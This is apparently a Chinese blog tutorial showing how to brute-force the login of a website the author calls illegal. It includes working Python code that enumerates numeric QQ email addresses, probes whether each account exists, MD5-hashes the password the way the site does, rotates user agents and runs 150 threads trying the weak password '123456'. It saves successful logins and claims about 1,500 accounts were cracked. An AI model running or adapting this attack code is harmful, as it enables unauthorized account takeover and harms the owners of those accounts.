首先申明,该文章只可以用于交流学习,不可以用于其他用途,否则后果自负。
现在国家对网络安全的管理,越来越严,但是还是有一些不法网站逍遥法外,受限于国内的人力、物力,无法对这些网站进行取缔。
今天演示的这个网站,就是属于非法的网站。
首先看登陆界面。
抓取登陆信息。
使用Post Form表单的形式,进行用户名和密码的提交。接下来我们看提交的用户名和密码。
我输入的密码和用户名一致,说明该站对提交的密码进行了处理,等一会我来看,密码是怎么处理的,现在我们看服务器的返回信息。
服务器返回的是JSON,到这一步,我们就差密码了,只要知道密码是怎么生成的,就能加速对用户密码的破解了。
查看网站的脚本,发现密码是先在本地做MD5处理之后,才发送到服务器的。
到了这一步,我们也就初步知道如何对该网站进行暴力破解了。
由于现在的人们在进行网站注册的时候,都是使用QQ邮箱进行注册的,因此我们可以先构建一个QQ邮箱,先判断盖邮箱存不存在,然后我们在判断密码正不正确。
现在我们的思路理清楚了,接下来直接上干货。
user_num_low = 111111111 user_num_max = 9999999999 user_nbr = user_num_low mutex=Lock() #构造用户邮箱 def get_user_nbr(): mutex.acquire(3) global user_nbr user_name = '%s%s' % (str(user_nbr), '@qq.com') user_nbr = user_nbr + 1 mutex.release() return user_name def user_end_judge(): mutex.acquire(3) result = False if user_nbr > user_num_max : result = True else: result = False mutex.release() return result def get_curr_user(): mutex.acquire(3) global user_nbr user_name = '%s%s' % (str(user_nbr), '@qq.com') mutex.release() return user_name
构造用于判断密码邮箱是否存在
user_agent = [ 'Mozilla/5.0 (Windows NT 5.2) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30', 'Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0', 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET4.0E; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)', 'Opera/9.80 (Windows NT 5.1; U; zh-cn) Presto/2.9.168 Version/11.50', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1', 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0E; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)' ] def save_pwd(user, pwd,desc): with open("resut.txt","a+") as f: f.write('user:'+ user + ' pwd:' + pwd + " desc:" + desc + ' ') def user_test(username,password): resp = "" result = "" url = "http://www.k*.htm" pwd = password user= username md = hashlib.md5() md.update(pwd) password = md.hexdigest() data = {'email':username,'password':password} # 设置网页编码格式,解码获取到的中文字符 encoding = "gb18030" # 构造http请求头,设置user-agent header = { "User-Agent": random.choice(user_agent), 'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8', 'X-Requested-With':'XMLHttpRequest' } try: requests.adapters.DEFAULT_RETRIES = 5 resp = requests.post(url, data=data, headers=header, timeout=335) except requests.exceptions.ReadTimeout: print("1") time.sleep(10) resp = requests.post(url, data=data, headers=header, timeout=335) except requests.exceptions.Timeout: print("2") time.sleep(10) resp = requests.post(url, data=data, headers=header, timeout=335) except requests.exceptions.ConnectionError: print("3") time.sleep(10) resp = requests.post(url, data=data, headers=header, timeout=335) except socket.error: time.sleep(10) resp = requests.post(url, data=data, headers=header, timeout=335) except BaseException as e: print(e) time.sleep(10) resp = requests.post(url, data=data, headers=header, timeout=335) resp.keep_alive = False #print(resp.content) try: result = resp.content json = resp.json() print('邮箱:%s ,result:%s ' % (username,result)) if (json['message'].find('不存在') > -1): #print('邮箱:%s 为空' % username ) return False else: print('邮箱: %s 存在' % username) save_pwd(username, password, json['message']) return True except BaseException as e: print("发送错误 e: %s result:%s response code:%d" % (e, result, resp.status_code ))
好了,我们获取到邮箱之后,就是要判断密码是否正确了,由于大部分人网站登陆,还是使用弱密码,我们可以到网上找一下相关的字典库,就可以直接破解了。
判断密码是否正确,我们只需要在判断邮箱存在之后,再加一个判断即可。
if(json['message'].find('错误') > -1): print("邮箱: %s 密码: %s ,密码错误!" % (username,pwd)) return False else: print('邮箱: %s 密码: %s ,登陆成功!' % (username, pwd))
由于用户和密码验证较多,单一线程工作需要较长的时间,因此我们需要用上多线程,缩短密码破解时间。
def thread_bru(): # 破解子线程函数 #while not user_end_judge():pwd_queue.empty() while not user_end_judge(): try: pwd = ‘123456’ user = get_user_nbr() #print pwd_test #if user_test(user, pwd_test): if user_test(user, pwd): result = pwd print ('破解 %s 成功,密码为: %s' % (user, pwd)) break except BaseException as e: print("破解子线程错误: %s" % e) def brute(threads): for i in range(threads): t = threading.Thread(target=thread_bru) t.start() print('破解线程-->%s 启动' % t.ident) while (not user_end_judge()): # 剩余口令集判断 print(' 进度: 当前值 %d' % pwd_queue.qsize()) time.sleep(2) #print(' 破解完毕') if __name__ == "__main__": brute(150)
好了,初步编写完成。我们先刷完一部电影过来看看最终结果吧。
居然测试成功1500左右的邮箱,还有很多许多人是用非常简单的密码的。
有不懂的问题,加企鹅群交流吧:98556420。